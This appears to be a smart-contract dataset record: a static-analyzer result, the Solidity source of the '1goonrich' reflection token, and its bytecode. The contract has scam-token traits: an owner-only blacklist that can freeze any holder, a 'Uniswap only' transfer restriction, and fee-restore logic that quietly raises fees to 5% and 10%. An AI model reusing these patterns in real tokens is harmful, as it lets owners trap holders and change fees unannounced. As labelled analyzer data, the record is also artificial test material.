6e4d61785265776172647341646a75737465722f6469762d696e76616c6964a26469706673582212206d0da8dd8cd743ed21e9f782d0c0ccb438e7a56906ffae2c5c06c4509631675b64736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,649
0xe7815da70fa489c7b726064c545b89594ebe237b
// 1goonrich token ($1goonrich) // $$\ $$\ $$\ // $$$$ | \__| $$ | // \_$$ | $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$\ $$$$$$\ $$\ $$$$$$$\ $$$$$$$\ // $$ | $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ |$$ _____|$$ __$$\ // $$ | $$ / $$ |$$ / $$ |$$ / $$ |$$ | $$ |$$ | \__|$$ |$$ / $$ | $$ | // $$ | $$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ | // $$$$$$\\$$$$$$$ |\$$$$$$ |\$$$$$$ |$$ | $$ |$$ | $$ |\$$$$$$$\ $$ | $$ | // \______|\____$$ | \______/ \______/ \__| \__|\__| \__| \_______|\__| \__| // $$\ $$ | // \$$$$$$ | // \______/ // Telegram: https://t.me/onegoonrichtoken // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract onegoonrich is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "1goonrich token"; string private constant _symbol = "1goonrich"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 2; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 40; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() { require(!tradingOpen, "trading is already started"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _taxFee = 1; _teamFee = 10; _maxTxAmount = 1000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setCooldownSeconds(uint256 cooldownSecs) external onlyOwner() { require(cooldownSecs > 0, "Secs must be greater than 0"); _cooldownSeconds = cooldownSecs; } }
0x6080604052600436106101015760003560e01c806370a082311161009557806395d89b411161006457806395d89b411461032b578063a9059cbb14610356578063d543dbeb14610393578063dd62ed3e146103bc578063ed995307146103f957610108565b806370a0823114610283578063715018a6146102c05780637b5b1157146102d75780638da5cb5b1461030057610108565b806323b872dd116100d157806323b872dd146101c9578063313ce567146102065780635932ead1146102315780636b9990531461025a57610108565b8062b8cf2a1461010d57806306fdde0314610136578063095ea7b31461016157806318160ddd1461019e57610108565b3661010857005b600080fd5b34801561011957600080fd5b50610134600480360381019061012f9190612a40565b610410565b005b34801561014257600080fd5b5061014b610560565b6040516101589190612f04565b60405180910390f35b34801561016d57600080fd5b5061018860048036038101906101839190612a04565b61059d565b6040516101959190612ee9565b60405180910390f35b3480156101aa57600080fd5b506101b36105bb565b6040516101c091906130c6565b60405180910390f35b3480156101d557600080fd5b506101f060048036038101906101eb91906129b5565b6105cc565b6040516101fd9190612ee9565b60405180910390f35b34801561021257600080fd5b5061021b6106a5565b604051610228919061313b565b60405180910390f35b34801561023d57600080fd5b5061025860048036038101906102539190612a81565b6106ae565b005b34801561026657600080fd5b50610281600480360381019061027c9190612927565b610760565b005b34801561028f57600080fd5b506102aa60048036038101906102a59190612927565b610850565b6040516102b791906130c6565b60405180910390f35b3480156102cc57600080fd5b506102d56108a1565b005b3480156102e357600080fd5b506102fe60048036038101906102f99190612ad3565b6109f4565b005b34801561030c57600080fd5b50610315610ad6565b6040516103229190612e1b565b60405180910390f35b34801561033757600080fd5b50610340610aff565b60405161034d9190612f04565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190612a04565b610b3c565b60405161038a9190612ee9565b60405180910390f35b34801561039f57600080fd5b506103ba60048036038101906103b59190612ad3565b610b5a565b005b3480156103c857600080fd5b506103e360048036038101906103de9190612979565b610ca3565b6040516103f091906130c6565b60405180910390f35b34801561040557600080fd5b5061040e610d2a565b005b610418611297565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161049c90613026565b60405180910390fd5b60005b815181101561055c576001600a60008484815181106104f0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610554906133dc565b9150506104a8565b5050565b60606040518060400160405280600f81526020017f31676f6f6e7269636820746f6b656e0000000000000000000000000000000000815250905090565b60006105b16105aa611297565b848461129f565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105d984848461146a565b61069a846105e5611297565b6106958560405180606001604052806028815260200161382860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064b611297565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c369092919063ffffffff16565b61129f565b600190509392505050565b60006009905090565b6106b6611297565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a90613026565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610768611297565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107ec90613026565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061089a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9a565b9050919050565b6108a9611297565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610936576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092d90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6109fc611297565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8090613026565b60405180910390fd5b60008111610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac390612fc6565b60405180910390fd5b8060118190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f31676f6f6e726963680000000000000000000000000000000000000000000000815250905090565b6000610b50610b49611297565b848461146a565b6001905092915050565b610b62611297565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be690613026565b60405180910390fd5b60008111610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990612fe6565b60405180910390fd5b610c616064610c5383683635c9adc5dea00000611d0890919063ffffffff16565b611d8390919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601054604051610c9891906130c6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d32611297565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db690613026565b60405180910390fd5b600f60149054906101000a900460ff1615610e0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0690612f46565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e9f30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061129f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ee557600080fd5b505afa158015610ef9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1d9190612950565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f7f57600080fd5b505afa158015610f93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb79190612950565b6040518363ffffffff1660e01b8152600401610fd4929190612e36565b602060405180830381600087803b158015610fee57600080fd5b505af1158015611002573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110269190612950565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110af30610850565b6000806110ba610ad6565b426040518863ffffffff1660e01b81526004016110dc96959493929190612e88565b6060604051808303818588803b1580156110f557600080fd5b505af1158015611109573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061112e9190612afc565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600881905550600a600981905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611241929190612e5f565b602060405180830381600087803b15801561125b57600080fd5b505af115801561126f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112939190612aaa565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561130f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130690613086565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561137f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137690612f86565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161145d91906130c6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d190613066565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561154a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154190612f26565b60405180910390fd5b6000811161158d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158490613046565b60405180910390fd5b611595610ad6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d3610ad6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7357600f60179054906101000a900460ff1615611836573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116df5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117395750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183557600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661177f611297565b73ffffffffffffffffffffffffffffffffffffffff1614806117f55750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117dd611297565b73ffffffffffffffffffffffffffffffffffffffff16145b611834576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182b906130a6565b60405180910390fd5b5b5b60105481111561184557600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118e95750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f257600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561199d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f35750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a0b5750600f60179054906101000a900460ff165b15611ab95742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5b57600080fd5b6001601154611a6a9190613283565b42611a7591906131fc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac430610850565b9050600f60159054906101000a900460ff16158015611b315750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b495750600f60169054906101000a900460ff165b15611b7157611b5781611dcd565b60004790506000811115611b6f57611b6e476120c7565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c1a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2457600090505b611c30848484846121c2565b50505050565b6000838311158290611c7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c759190612f04565b60405180910390fd5b5060008385611c8d91906132dd565b9050809150509392505050565b6000600654821115611ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd890612f66565b60405180910390fd5b6000611ceb6121ef565b9050611d008184611d8390919063ffffffff16565b915050919050565b600080831415611d1b5760009050611d7d565b60008284611d299190613283565b9050828482611d389190613252565b14611d78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6f90613006565b60405180910390fd5b809150505b92915050565b6000611dc583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061221a565b905092915050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e2b577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e595781602001602082028036833780820191505090505b5090503081600081518110611e97577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f3957600080fd5b505afa158015611f4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f719190612950565b81600181518110611fab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061201230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461129f565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120769594939291906130e1565b600060405180830381600087803b15801561209057600080fd5b505af11580156120a4573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612117600284611d8390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612142573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612193600284611d8390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121be573d6000803e3d6000fd5b5050565b806121d0576121cf61227d565b5b6121db8484846122ae565b806121e9576121e8612479565b5b50505050565b60008060006121fc61248b565b915091506122138183611d8390919063ffffffff16565b9250505090565b60008083118290612261576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122589190612f04565b60405180910390fd5b50600083856122709190613252565b9050809150509392505050565b600060085414801561229157506000600954145b1561229b576122ac565b600060088190555060006009819055505b565b6000806000806000806122c0876124ed565b95509550955095509550955061231e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ff816125fd565b61240984836126ba565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161246691906130c6565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124c1683635c9adc5dea00000600654611d8390919063ffffffff16565b8210156124e057600654683635c9adc5dea000009350935050506124e9565b81819350935050505b9091565b600080600080600080600080600061250a8a6008546009546126f4565b925092509250600061251a6121ef565b9050600080600061252d8e87878761278a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c36565b905092915050565b60008082846125ae91906131fc565b9050838110156125f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ea90612fa6565b60405180910390fd5b8091505092915050565b60006126076121ef565b9050600061261e8284611d0890919063ffffffff16565b905061267281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cf8260065461255590919063ffffffff16565b6006819055506126ea8160075461259f90919063ffffffff16565b6007819055505050565b6000806000806127206064612712888a611d0890919063ffffffff16565b611d8390919063ffffffff16565b9050600061274a606461273c888b611d0890919063ffffffff16565b611d8390919063ffffffff16565b9050600061277382612765858c61255590919063ffffffff16565b61255590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a38589611d0890919063ffffffff16565b905060006127ba8689611d0890919063ffffffff16565b